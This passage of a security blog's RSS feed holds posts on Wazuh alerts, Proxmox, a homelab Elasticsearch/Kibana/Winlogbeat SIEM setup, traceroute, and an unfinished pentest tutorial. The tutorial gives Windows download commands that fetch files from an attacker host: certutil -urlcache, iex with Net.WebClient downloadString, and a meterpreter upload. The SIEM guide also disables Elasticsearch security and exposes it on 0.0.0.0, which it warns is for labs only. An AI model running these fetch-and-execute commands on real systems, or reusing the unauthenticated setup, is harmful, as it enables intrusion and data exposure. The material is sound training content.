<span class="hljs-comment"># amazon linux / centos</span>
sudo yum install python3-pip
pip3 install requests
</code></pre>
<p>Restart the wazuh manager and you should see alerts showing up in the discord channel.</p>
<pre><code class="lang-bash">/var/ossec/bin/wazuh-control restart
</code></pre>
<p>You can trigger it by typing the wrong password for a user on a machine running the wazuh agent. If all goes well you should see something like the screenshot below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692631973222/c733a7d6-cca0-41bf-a884-a46711c1f3c9.png" alt class="image--center mx-auto" /></p>
<p>If you do not see the alerts in Discord you can first look at the logs of <code>integratord</code>. If you see an error such as the one below you might want to increase the verbosity of the <code>integratord</code> log.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692831675598/30b3fcd9-d9eb-491e-ba94-c2c716cb44a8.png" alt class="image--center mx-auto" /></p>
<p>How you ask?! - Use the following command:</p>
<pre><code class="lang-bash">/var/ossec/bin/wazuh-integratord  -dd
</code></pre>
<p>That should give you a detailed description of what's going wrong and can fix it.</p>
<div class="hn-embed-widget" id="goatcounter"></div><p> </p>
<h3 id="heading-sources">Sources</h3>
<p><a target="_blank" href="https://documentation.wazuh.com/current/user-manual/manager/manual-integration.html#manual-integration">https://documentation.wazuh.com/current/user-manual/manager/manual-integration.html#manual-integration</a></p>
]]></content:encoded></item><item><title><![CDATA[How to upload iso files to your proxmox server]]></title><description><![CDATA[In this article, we will go through the necessary steps to add installation disk images (iso and img files) to your proxmox server so that you can use them as installation media for virtual machines and lxc/lxd containers.
First, make sure that you h...]]></description><link>https://maikroservice.com/how-to-upload-iso-files-to-your-proxmox-server</link><guid isPermaLink="true">https://maikroservice.com/how-to-upload-iso-files-to-your-proxmox-server</guid><category><![CDATA[hacking]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Mon, 24 Apr 2023 23:24:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/yJVpnfqu8GY/upload/6a80ff07af0488fb08fbbb577bcd0608.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this article, we will go through the necessary steps to add installation disk images (iso and img files) to your proxmox server so that you can use them as installation media for virtual machines and lxc/lxd containers.</p>
<p>First, make sure that you have created and selected the appropriate storage disk - this can be done by opening the proxmox management interface in your browser, selecting <code>Datacenter</code> and <code>proxmox</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682377914452/d41c0cfc-7eb4-4a27-a95c-6d03c05a9999.png" alt class="image--center mx-auto" /></p>
<p>and then <code>Disks</code> and <code>Directory</code>. If you have only 1 drive (not recommended though) you will have a <code>local</code> disk directory already setup, as indicated by the four disks stacked on top of each other in the UI. This can be found under <code>Datacenter &gt; proxmox &gt; local</code> .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682377936196/2790993a-ea49-4060-925c-08857b62080a.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682378006823/6c1f6899-5820-46cf-8c04-e32d6c6bcc1d.png" alt class="image--center mx-auto" /></p>
<p>I will demonstrate the steps necessary to upload an iso disk image using proxmox 7.3.3, but later versions should have a similar setup.</p>
<p>The next step is to click on the respective disk that you want to select and upload the iso/img file to - in my case <code>local</code>.</p>
<p>Once that is done a new vertical navigation bar will appear, like the one below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682378161960/dd5c8405-b809-4e6b-a0b7-331049f41319.png" alt class="image--center mx-auto" /></p>
<p>In this bar you need to select <code>ISO Images</code> which will contain our disk images. These can be uploaded from your computer via the <code>Upload</code> button or with <code>Download from URL</code> button.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682378550438/fba74578-5bfb-489c-8e7e-bfd553d3dc2e.png" alt class="image--center mx-auto" /></p>
<p>Please note that there is a size limit for proxmox upload functionality - it is around ~2 GB depending on your specific instance. If you hit that limit your proxmox will show you a popup with the error code 0:</p>
<p><code>"Error code: 0" or "Upload failed with code 0"</code></p>
]]></content:encoded></item><item><title><![CDATA[How to install Elasticsearch, Kibana and WinLogBeat in your CloudLab the lazy way]]></title><description><![CDATA[Overview
In this post I will guide you through the installation of Elasticsearch, Kibana and Winlogbeat.
We will walk through each step on Amazon Linux 2 (but the concept is similar for other Linux distributions).
In part 2 we will see how we can use...]]></description><link>https://maikroservice.com/how-to-install-elasticsearch-kibana-and-winlogbeat-in-your-cloudlab-the-lazy-way</link><guid isPermaLink="true">https://maikroservice.com/how-to-install-elasticsearch-kibana-and-winlogbeat-in-your-cloudlab-the-lazy-way</guid><category><![CDATA[blueteam]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Homelab]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Mon, 14 Nov 2022 14:14:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1668462914420/d7sQnDNR6.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-overview">Overview</h1>
<p>In this post I will guide you through the installation of Elasticsearch, Kibana and Winlogbeat.
We will walk through each step on Amazon Linux 2 (but the concept is similar for other Linux distributions).</p>
<p>In part 2 we will see how we can use the System as a Security Information and Event Management System (SIEM).
A SIEM collects logs from the machines in the network.
It also provides a queryable interface that the Blue Team uses to detect cyber attacks. </p>
<h2 id="heading-the-easy-way">The easy way</h2>
<p>The easiest option to see it in action is to clone the template I created on snaplabs (https://www.snaplabs.io). 
For that you create an account on snaplabs, login and you are then greeted with the following page.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1656320426093/DNVXfHdSk.png" alt="snaplabs aws connection" /></p>
<p>Snaplabs works with Amazon Web Services (AWS). To use it you need to connect your AWS account by clicking the big button in the middle of the page. 
One cool thing about snaplabs!
The machines will be shutdown after 2h automatically. 
No more expensive surprise cloud bills! Plus, you can change the time limit as well. </p>
<p>Once you have connected your AWS account you can clone the template by visiting the following url: https://dashboard.snaplabs.io/launch/0e5b712f-4acc-432f-5204-3ff9711ca029</p>
<h2 id="heading-disclaimer">DISCLAIMER</h2>
<p>Make sure to not use this in any production environment. This is HomeLab stuff only, because you don't have any authentication and no encrypted traffic - SERIOUSLY BAD JUJU.
OK, on we go! </p>
<h3 id="heading-step-0">Step 0</h3>
<p>Start the machine/cloud instance that you want to run Elasticsearch on. We will use AWS EC2 and 8GB RAM and 40GB of disk space. 
Why!?
Because we want to run Elasticsearch and Kibana on the same machine. 
You would not do this in production environments! You would split the Services onto their separate instances for scalability and redundance.</p>
<h3 id="heading-step-1">Step 1</h3>
<p>Connect to the machine via ssh or guacamole.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668432079776/hjBAT91cu.png" alt="ssh ELK" /></p>
<h3 id="heading-next-we-install-java">next we install java</h3>
<p>Since the Elastic stack runs on java we need a JDK and openjdk is our choice here. </p>
<pre><code class="lang-bash">sudo yum -y install java-openjdk java-openjdk-devel
</code></pre>
<h3 id="heading-step-3">Step 3</h3>
<p>Now we need to add the corresponding repositories with:</p>
<pre><code class="lang-bash">cat &lt;&lt;EOF | sudo tee /etc/yum.repos.d/elasticsearch.repo
[elasticsearch-8.x]
name=Elasticsearch repository <span class="hljs-keyword">for</span> 8.x packages
baseurl=https://artifacts.elastic.co/packages/8.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
<span class="hljs-built_in">type</span>=rpm-md
EOF
</code></pre>
<p>Press enter once more and you should have created the correct file. </p>
<h3 id="heading-step-4-import-the-gpg-encryption-key">Step 4 - import the gpg encryption key</h3>
<pre><code class="lang-bash">sudo rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch
</code></pre>
<h3 id="heading-step-5-clean-and-update-the-system-cache">Step 5 - clean and update the system cache</h3>
<p>Now we clean the system cache and update it afterwards. This makes sure that our system knows where to get the Elastic Stack components from. It also ensures that our machine can reach the repository sites necessary for step 6.</p>
<pre><code class="lang-bash">sudo yum clean all
</code></pre>
<p>followed by</p>
<pre><code class="lang-bash">sudo yum makecache
</code></pre>
<h3 id="heading-step-6-install-elasticsearch">Step 6 - install Elasticsearch</h3>
<p>Did someone say please start already? - ok here we go - install Elasticsearch. </p>
<pre><code class="lang-bash">sudo yum -y install elasticsearch
</code></pre>
<h3 id="heading-step-7-wait-wait-wait-until-its-installed-ok">Step 7 - wait. wait. wait until its installed. ok?</h3>
<p>Once Elasticearch was downloaded and installed you should see output similar to the screenshot below - make sure to copy the elastic password and save it somewhere secure (you can reset the password later as well - and actually... since you want to install everything without security... why would you need a password?! spoiler - you don't.)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1656322869252/JxRG890VI.png" alt="elastic_password" /></p>
<h3 id="heading-step-8-making-sure-it-works">Step 8 - making sure it works</h3>
<p>Make sure that everything worked out by running</p>
<pre><code class="lang-bash">rpm -qi elasticsearch
</code></pre>
<p>which should give a similar output to this one</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668432231724/5SmD9quR5.png" alt="elasticsearch successfully installed" /></p>
<h2 id="heading-half-way-time">Half-way time</h2>
<p>Wonderful, everything worked out exactly as we planned. If only this thing were running already, we could search for everything! (almost). </p>
<p>Conceptually, we now need to enable the Elasticsearch service and configure it to not use the security features that come per default since version 8. </p>
<h3 id="heading-disable-the-security-features-andamp-change-the-configuration">disable the security features &amp; change the configuration</h3>
<p>Since you are still reading I assume you either know what you are doing, just want it to work because everything else failed, or you are a rebel. I like rebels. </p>
<p>You can use any editor and change the <code>/etc/elasticsearch/elasticsearch.yml</code>.</p>
<pre><code class="lang-bash">sudo nano /etc/elasticsearch/elasticsearch.yml
</code></pre>
<p>change the lines <code>network.host</code>, <code>http.port</code> and <code>discovery.seed_hosts</code> to the following:</p>
<pre><code class="lang-bash">network.host: 0.0.0.0

http.port: 9200

discovery.seed_hosts: []
</code></pre>
<p>You might need to remove the pound-signs/hashtags at the beginning of each line.</p>
<p>If you want to understand what exactly we are doing: 
We set the network host to allow access from any IP (0.0.0.0), set the Elasticsearch port to 9200 and clear the hosts (because currently there are none and there will be only one in this setup)</p>
<p>Last but not least look for the following line:</p>
<pre><code class="lang-bash">xpack.security.enabled: <span class="hljs-literal">true</span>
</code></pre>
<p>and make that </p>
<pre><code class="lang-bash">xpack.security.enabled: <span class="hljs-literal">false</span>
</code></pre>
<p>This disables the default security features (e.g. https and password/token-based authentication) and lets us use http (unencrypted) communication because we are lazy and don't like certificates. </p>
<h3 id="heading-enable-and-restart-the-elasticsearch-service">enable and restart the Elasticsearch service</h3>
<pre><code class="lang-bash">sudo systemctl <span class="hljs-built_in">enable</span> --now elasticsearch.service
</code></pre>
<pre><code class="lang-bash">sudo systemctl restart elasticsearch.service
</code></pre>
<h3 id="heading-its-alive">ITS ALIVE</h3>
<p>If everything worked you should be able to test that everything is well via:</p>
<pre><code class="lang-bash">curl http://127.0.0.1:9200
</code></pre>
<p>and be greeted with similar output 
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1656324308021/rWubS8Gpv.png" alt="elastic is alive" /></p>
<p>if for some reason this gives you an error / empty response make sure that elastic is running</p>
<pre><code class="lang-bash">systemctl status elasticsearch.service
</code></pre>
<p>In an ideal world it would look like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1656330539104/Uja8qCQTh.png" alt="Elasticsearch service running" /></p>
<p>If the output is "inactive" try restarting the service manually and curl again</p>
<pre><code class="lang-bash">sudo systemctl stop elasticsearch.service
</code></pre>
<p>followed by</p>
<pre><code class="lang-bash">sudo systemctl start elasticsearch.service
</code></pre>
<p>Should all of this not lead to the expected result you can try to check the logs to see if you can pinpoint errors.</p>
<pre><code class="lang-bash">journalctl -xe
</code></pre>
<h2 id="heading-kibana">Kibana</h2>
<p>Since Kibana is part of the elastic repositories we added earlier we can directly install it.</p>
<pre><code class="lang-bash">sudo yum -y install kibana
</code></pre>
<h3 id="heading-enabling-the-service">enabling the service</h3>
<p>As with Elasticsearch we also need to enable the Kibana service so that it runs after reboot. </p>
<pre><code class="lang-bash">sudo systemctl <span class="hljs-built_in">enable</span> --now kibana
</code></pre>
<h3 id="heading-configuring-kibana">configuring Kibana</h3>
<p>Kibana needs to know which port it should run on (default is 5601), which Elasticsearch server it should connect to (we... well we have only 1 machine for everything currently, so probably that one as well).
Remove the pound-sign/hashtag and change the following lines in the <code>/etc/kibana/kibana.yml</code>:</p>
<pre><code class="lang-bash">server.port: 5601

server.host: <span class="hljs-string">"0.0.0.0"</span>

server.publicBaseUrl: <span class="hljs-string">"http://&lt;your_server_ip_goes_here&gt;:5601"</span>

elasticsearch.hosts: [<span class="hljs-string">"http://127.0.0.1:9200"</span>]
</code></pre>
<p>The first line tells Kibana to use its default port 5601. 
The next one defines who can access the Kibana instance (0.0.0.0 is everyone or the whole internet). 
The Server public base url is the address that you want to reach the Kibana server at.
It is usually the IP of your Kibana server plus the port at the end.
The last line tells Kibana where to look for the Elasticsearch server. In our case this would be the loopback address of our localhost. </p>
<h3 id="heading-restarting-kibana-and-testing-everything">(re)starting Kibana and testing everything</h3>
<p>Once all of the steps above have been done you can restart Kibana, check if it is active and start collecting logs. 
We can achieve that with commands we already know: </p>
<pre><code class="lang-bash">sudo systemctl restart kibana 

systemctl status kibana
</code></pre>
<p>If Kibana is active we should be able to open a web browser now... but where?!</p>
<p>We need one more instance that actually we can collect logs from. We also might be interested to see the dashboard so let us catch two fish with one net. </p>
<p>We add a Windows Server 2019 or 2022 machine to our Snaplabs Network with 4GB RAM and 40GB disk space. 
Make sure that this one is in the same subnet. </p>
<p>Now you can open a browser and type: </p>
<p><code>http://&lt;your-kibana-server-ip-here&gt;:5601</code></p>
<p>and you should be greeted with the Kibana dashboard that looks like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1656334484078/0AjBEfp5t.png" alt="Kibana in browser running" /></p>
<h2 id="heading-winlogbeat">Winlogbeat</h2>
<p>Winlogbeat will connect our windows machine to the Elasticsearch + Kibana server. It lets us see pretty graphs in Kibana as well, so lets install it already.</p>
<p>go check out: https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation-configuration.html </p>
<p>for a detailed walkthrough or follow me for the visual version. </p>
<p>First you download winlogbeat on your windows machine (https://www.elastic.co/downloads/beats/winlogbeat)</p>
<p>Next you unzip it. After that you move the (inner) folder to C:\Program Files\winlogbeat. 
Now edit the winlogbeat.yml:</p>
<pre><code class="lang-bash">setup.kibana:
  host: <span class="hljs-string">"&lt;your-kibana-server-ip-goes-here&gt;:5601"</span>

output.elasticsearch:
  hosts: [<span class="hljs-string">"&lt;your-elastic-server-ip-goes-here&gt;:9200"</span>]
</code></pre>
<p>Save the file. 
Finally, do the following:</p>
<ul>
<li><p>open Powershell as an administrator (either login as Admin or right-click the powershell icon and click "Run as Administrator" 
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668433385999/QAVnPWmu8.png" alt="run powershell as admin" /></p>
</li>
<li><p>navigate to the winlogbeat folder </p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> <span class="hljs-string">'C:\Program Files\winlogbeat'</span>
</code></pre>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668433499988/eP14fkTUy.png" alt="winlogbeat folder" /></p>
<p>and run:</p>
<pre><code class="lang-bash">. .\install-service-winlogbeat.ps1
</code></pre>
<p>This will throw a Security warning at you which you can read!!! and then decide to click the "R" button followed by enter, which will run the script once. 
After that you will see that the status of your newly installed winlogbeat service is "Stopped".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668433620262/vMW6kqZTU.png" alt="stopped_winlogbeat" /></p>
<p>HUH?! WHY YOU NO START Mr. Service?!</p>
<p>I shall help you with that.</p>
<p>We setup winlogbeat with:</p>
<pre><code class="lang-bash">.\winlogbeat.exe setup -e
</code></pre>
<p>and then start the service with</p>
<pre><code class="lang-bash">Start-Service winlogbeat
</code></pre>
<p>now you can check if the service is running by using </p>
<pre><code class="lang-bash">services.msc
</code></pre>
<p>scrolling down the list to "w" and finding your service as "running".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668433894613/Mle8Oqmjg.png" alt="winlogbeat service running" /></p>
<p>You can always start the service from the service menu by right-clicking winlogbeat and then selecting "Start" or "Restart" if it is not working. </p>
<h3 id="heading-winlogbeat-dashboards">Winlogbeat Dashboards</h3>
<p>Open a Browser on the Windows Cloud machine and navigate to Kibana (your elastic ip + port 5601). Next click on the menu at the top left and select Dashboard. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668434012437/9d2BWb3Jk.png" alt="analytics dashboard" /></p>
<p>You should see <code>[Winlogbeat Security]</code> Dashboards at the top now if everything worked. </p>
<p>Select the "[Winlogbeat] Overview" dashboard and stare in awe for a couple of minutes. You have real live events coming in here - WAOW!
If you for example add a new user on the windows machine </p>
<pre><code class="lang-bash">net user maikroservice Th15isMyP4$<span class="hljs-variable">$w0rd</span>! /add
</code></pre>
<p>and then make that user a local administrator</p>
<pre><code class="lang-bash">net localgroup administrators maikroservice /add
</code></pre>
<p>You should see a couple of events shortly after in your Kibana.</p>
<p>First will be a <code>4720</code> - user created.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668434505832/efUY4bxMm.png" alt="4720 - user created" /></p>
<p>And next will be a <code>4732</code> - User added to Privileged Group</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668434641120/pz6kQf6O1.png" alt="4732 - user added to privileged group" /></p>
<p>You can filter the time shown at the top right.</p>
<p>If you want to learn more about Windows Event IDs check out: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/</p>
<p>or follow me on twitter (https://twitter.com/maikroservice) for Threads about Security Topics.</p>
<p>I hope you learned something today - this was an awesome experience for me. </p>
<h2 id="heading-next-up-securing-your-cloudlab-monitoring">Next up - Securing your CloudLab Monitoring</h2>
<p>I recommend you check out https://maikroservice.com next week, because we will update the security of our elastic installation. 
First with username/password based authentication.</p>
<ul>
<li>Ultimately, with token based authentication!</li>
</ul>
<p>Stay tuned and keep learning.</p>
]]></content:encoded></item><item><title><![CDATA[How does traceroute work]]></title><description><![CDATA[Imagine you are working on a penetration test and you want to know how packets are traveling through the network. You want to identify routers and potentially other subnets, what tool do you use?
traceroute to the rescue!
Summary
traceroute and its w...]]></description><link>https://maikroservice.com/how-does-traceroute-work</link><guid isPermaLink="true">https://maikroservice.com/how-does-traceroute-work</guid><category><![CDATA[interview]]></category><category><![CDATA[hacking]]></category><category><![CDATA[General Programming]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Wed, 11 May 2022 16:49:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/GRxTDmbsJRM/upload/v1652287501112/FBefy1vtv.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Imagine you are working on a penetration test and you want to know how packets are traveling through the network. You want to identify routers and potentially other subnets, what tool do you use?</p>
<p><code>traceroute</code> to the rescue!</p>
<h2 id="heading-summary">Summary</h2>
<p><code>traceroute</code> and its windows equivalent <code>tracert</code> work with the <code>ICMP</code> (Windows) or <code>UDP</code> protocol (Linux &amp; Mac). It is generally used to follow the way packets travel through a network.</p>
<p>The software sends out packets with a Time To Live (TTL) of 1 first and awaits the <code>Type 11 - TTL exceeded</code> response, then sends out packets with a TTL of 2 and does the same again. This loop continues until either the destination is found, or the max TTL was reached (differs from implementations, common TTLs are 128 for Windows and 64 for Mac/Linux).</p>
<p>Traceroute then displays the time it took for the packets to go out and “come back” - the round-trip time.</p>
<p>When prepping for an interview this answer might suffice, you can stop reading now.</p>
<p>If you are still interested in more depth knowledge - strap in, its gonna be a wild ride.</p>
<p>FYI: We will use <code>traceroute</code> as the synonym for both traceroute and tracert for the rest of this post.</p>
<h2 id="heading-so-how-exactly-does-it-work">So how exactly does it work?</h2>
<p>Traceroute identifies hops across routers, each hop resembles a time to live (TTL) decrement of -1, which you might have come across when checking the TTL on ping requests and abstracting which operating system is running. Additionally, you usually can see how many routers are in between you and the target during CTFs, because there is a high chance there is only 1 🤓.</p>
<p>Quick divergence to what TTL actually is - a TTL is the amount of hops (routers), that a packet can pass before it is timed out / discarded by said router.</p>
<h3 id="heading-what-does-that-mean">What does that mean?</h3>
<p>imagine you have a Windows machine and a typical TTL for packets is 128, so that means that this packet we just send can travel by 127 routers before the final router discards the packet.</p>
<p>Actually, discarding the package is not completely correct - what happens is that the final router sends an ICMP (TTL Exceeded) back to the origin, we can simulate this with a specific flag (<code>-m</code> for mac, <code>-t</code> for linux) - this seems to be independent of the original request - even when we send a UDP request, we get a TTL exceeded back via ICMP.</p>
<h3 id="heading-diving-deep-into-packets-and-protocols-with-a-fake-shark-fin-on-our-head">Diving deep into packets and protocols with a fake shark fin on our head 🦈</h3>
<p>Lets prototype something - first we use traceroute of the classical IP used for testing if the internet is on 🔥 - 8.8.8.8 (google).</p>
<p>We deliberately set the TTL to 1 to make sure that we don’t get far, not even out to the internet, this packet is under home arrest and gets stopped at my local router (192.168.0.1).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652287393296/GkAXL-KTw.png" alt="image.png" /></p>
<p>We can ask our friend wireshark to show us exactly the requests that were send and received, so lets check what the router returned.</p>
<h3 id="heading-request-from-my-machine-to-8888">Request from my machine to 8.8.8.8</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652287407465/Wwg-_lkfn.png" alt="image.png" /></p>
<p>There is a lot to unpack here.</p>
<p>First we see that my local IP is 192.168.0.44, the destination is 8.8.8.8 as we specified. We can also see that we used the UDP protocol to the remote port <code>33435</code> and locally we listen on <code>41101</code>. Additionally, 24 bytes of 0’s are send and I am still trying to figure out why.</p>
<h3 id="heading-response-from-my-router-to-my-machine">Response from my router to my machine</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652287425981/LMBCSMqbnE.png" alt="image.png" /></p>
<p>Once my router has received the packet, reduced the TTL by 1 and it made the unfortunate realisation that this packet needs to stop and return to sender pronto because the TTL is 0 now. Therefore, it mirrors the original request and adds ICMP headers of <code>TTL exceeded</code>.</p>
<p>One potentially important note is that traceroute likes to measure response times and tells us how much time passed between sending the request.</p>
<p>When we inspect the previous command again we can see that we have 3 response times - why though?</p>
<p>This is because for each TTL-change 3 packets get send by traceroute and the durations we see here are the round-trip-times for the individual packets.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652287451629/UhnVJ17dW.png" alt="image.png" /></p>
<h3 id="heading-what-does-an-asterisk-mean-in-the-results">What does an asterisk mean in the results?</h3>
<p>Good. You tried it yourself and at some point saw the death star in your terminal. The asterisk means that the router did not respond within the timeout limit, sad but okay.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652287461524/Y0A65nUx-.png" alt="image.png" /></p>
]]></content:encoded></item><item><title><![CDATA[The 10 ways hackers use to download files on Windows]]></title><description><![CDATA[Welcome to another episode of, Defender is blocking me and I don't like it.
Your therapist says - Have you thought about AMSI, maybe that one is the problem?
If you don't exactly know what these words mean but want to understand it better and are try...]]></description><link>https://maikroservice.com/the-10-ways-hackers-use-to-download-files-on-windows</link><guid isPermaLink="true">https://maikroservice.com/the-10-ways-hackers-use-to-download-files-on-windows</guid><category><![CDATA[CyberSec]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Mon, 27 Dec 2021 21:36:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/K4c8RymNeu8/upload/v1652287820192/V4xLSg8XaH.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-welcome-to-another-episode-of-defender-is-blocking-me-and-i-dont-like-it">Welcome to another episode of, Defender is blocking me and I don't like it.</h2>
<p>Your therapist says - Have you thought about AMSI, maybe that one is the problem?</p>
<p>If you don't exactly know what these words mean but want to understand it better and are trying to jump into a career as a penetration tester or red-teamer, you came to the right place. 
Let's learn together how we can first of all download binaries, executables, powershell scripts, and whatever else your heart desires.
Disclaimer: You should not use your knowledge for anything illegal. Never. Safe the internet and protect its citizens. </p>
<p>For this blog post we will go through 10+ ways of downloading files, on windows with a command line interface. </p>
<h1 id="heading-10-ways-of-downloading-files-via-the-command-line-on-windows">10+ ways of downloading files via the command line on windows</h1>
<h3 id="heading-1-meterpreter-shell">1. Meterpreter shell</h3>
<p>The infamous Metasploit framework is a common way to pop a shell on a compromised machine. It is beginner-friendly, frequently updated, and spans exploits from years in the past to recently released CVE's. You have session handling, multiple delivery paths, automatic AMSI-bypass (web-delivery), local exploit suggestion, and many, many more.</p>
<p>This conglomerate of functionality and features ensures its pole position. 
And it also has upload skills - all you have to do is type:</p>
<pre><code class="lang-bash">meterpreter &gt; upload &lt;/home/kali/file_to_be_uploaded.exe&gt;
</code></pre>
<p>Let the magic happen and your file appears on the box in your current working folder. As easy as that. </p>
<h2 id="heading-a-trip-to-living-off-the-land">A trip to - Living off the Land</h2>
<p>Sometimes we don't want external scripts or libraries to perform functions that the operating system is capable of as well. 
If we utilize system binaries / functionality to perform "hacking" tasks, e.g. downloading/uploading or privilege escalation it is called - living off the land attacks. 
Let's see what Windows has in store for us natively. </p>
<h3 id="heading-2-certutil">2. certutil</h3>
<p>Certutil is a command-line program that Microsoft usually uses for certificate services - <a target="_blank" href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil">Microsoft Documentation</a>. It is present in <code>cmd.exe</code> environments where PowerShell might not be available for your user or other restrictions apply. </p>
<p>We use the <code>-urlcache</code> option together with the <code>-f</code> flag - the former tells <code>certutil</code> to retrieve a "cached" certificate and the latter forces <code>certutil</code> to fetch the remote resource, which should be a certificate in theory (but it does not have to be ;) ). </p>
<p>Another neat trick is that you can rename your files and thus make them less conspicuous, just add a new filename at the end of the download command and your file now has a shiny new name on the windows machine. </p>
<pre><code class="lang-bash">certutil -urlcache -f http://&lt;attackerIP&gt;:&lt;port&gt;/file_to_be_uploaded.exe &lt;new_filename.exe&gt;
</code></pre>
<h2 id="heading-powershell-and-cmdlets">PowerShell and cmdlets</h2>
<p>Now we dive into the world of PowerShell, the only scripting language you will ever need in windows land (according to Microsoft?). I am still amazed about its design and ideas, so much that I constantly need a cheat sheet around in order to remember the basic syntax. 
One nice thing though - it is case-insensitive, no more capitalization typos for me, thank you. 
Chapeau to whoever designed it, I will never be as smart as you and fortunately, I am content with that.</p>
<p>Powershell uses lightweight commands - so-called <code>cmdlets</code>, which to me is similar to Unix one-liner aliases defined in your .bashrc combined with Python's object-oriented - everything is an object - style. </p>
<blockquote>
<p>Technically, a <code>cmdlet</code> is a Microsoft .Net Class instance and it returns a Microsoft .Net object. They use a <code>verb-noun</code> syntax.</p>
</blockquote>
<p><em>To simplify things</em>: With our programming knowledge we can deduct that this resulting object potentially has its own functionalities/methods/attributes which we could explore and the object can be used for further processing within other <code>cmdlets</code> or scripts. 
You are also able to define your own <code>cmdlets</code> which is out of scope for this blog post, but the interested reader could check out: <a target="_blank" href="https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/cmdlet-overview?view=powershell-7.2">cmdlet documentation</a> &amp; <a target="_blank" href="https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/how-to-write-a-simple-cmdlet?view=powershell-7.2">How to write a simple cmdlet</a></p>
<h3 id="heading-3-invoke-expression">3. invoke-expression</h3>
<p>Back to the interesting bits and pieces, we can use Invoke-Expression to execute code on the local machine. One interesting way is to tell the machine to go and fetch some remote resource for us, sometimes also called downloading files ;). </p>
<p><strong>The important part about about Invoke-Expression is that it does not touch the hard disk, everything is kept in memory, so it by design "evades" Windows Defender</strong> (but not AMSI and real-time protection among others, unfortunately).</p>
<p>The <a target="_blank" href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2&amp;viewFallbackFrom=powershell-6">Microsoft documentation</a> warns users that the use of <code>invoke-expression</code> in scripts is discouraged, unless you use predefined inputs and don't let the user directly run their own "expressions". </p>
<p>Typically, we use the <code>Net.Webclient</code> <a target="_blank" href="https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-6.0">class</a> together with the corresponding <code>downloadString</code>method, which naively downloads anything we point it to, without checking the contents of the remote resource (thank you for that). </p>
<p><em>In this case the remote file name will be the same after the download.</em> </p>
<blockquote>
<p>Invoke-Expression can be abbreviated with <code>iex</code> in PowerShell which makes it a lot less typo-error prone. </p>
</blockquote>
<pre><code class="lang-bash">PS C:\&gt; iex (New-Object Net.WebClient).downloadString(<span class="hljs-string">"http://&lt;attackerIP&gt;:&lt;port&gt;/file_to_be_uploaded.exe"</span>)

<span class="hljs-comment"># or </span>

PS C:\&gt; <span class="hljs-built_in">echo</span> -n <span class="hljs-string">'iex (New-Object Net.WebClient).downloadString("http://&lt;attackerIP&gt;:&lt;port&gt;/file_to_be_uploaded.exe")'</span>
</code></pre>
<h3 id="heading-4-invoke-webrequest">4. Invoke-WebRequest</h3>
<p>Another option is to use the <code>Invoke-WebRequest</code> cmdlet, should <code>Powershell Version 3</code> and newer be available. 
Under the hood, it uses Internet Explorer Engine to parse the request/response and it will throw an error if the said engine is not installed. 
An easy way to fix it - use the <code>-UseBasicParsing</code> flag for all your requests, which in Powershell 6 became the new default anyhow. 
This cmdlet has another potentially dangerous side-effect when used together with Responder.py + <code>-UseDefaultCredentials</code>. 
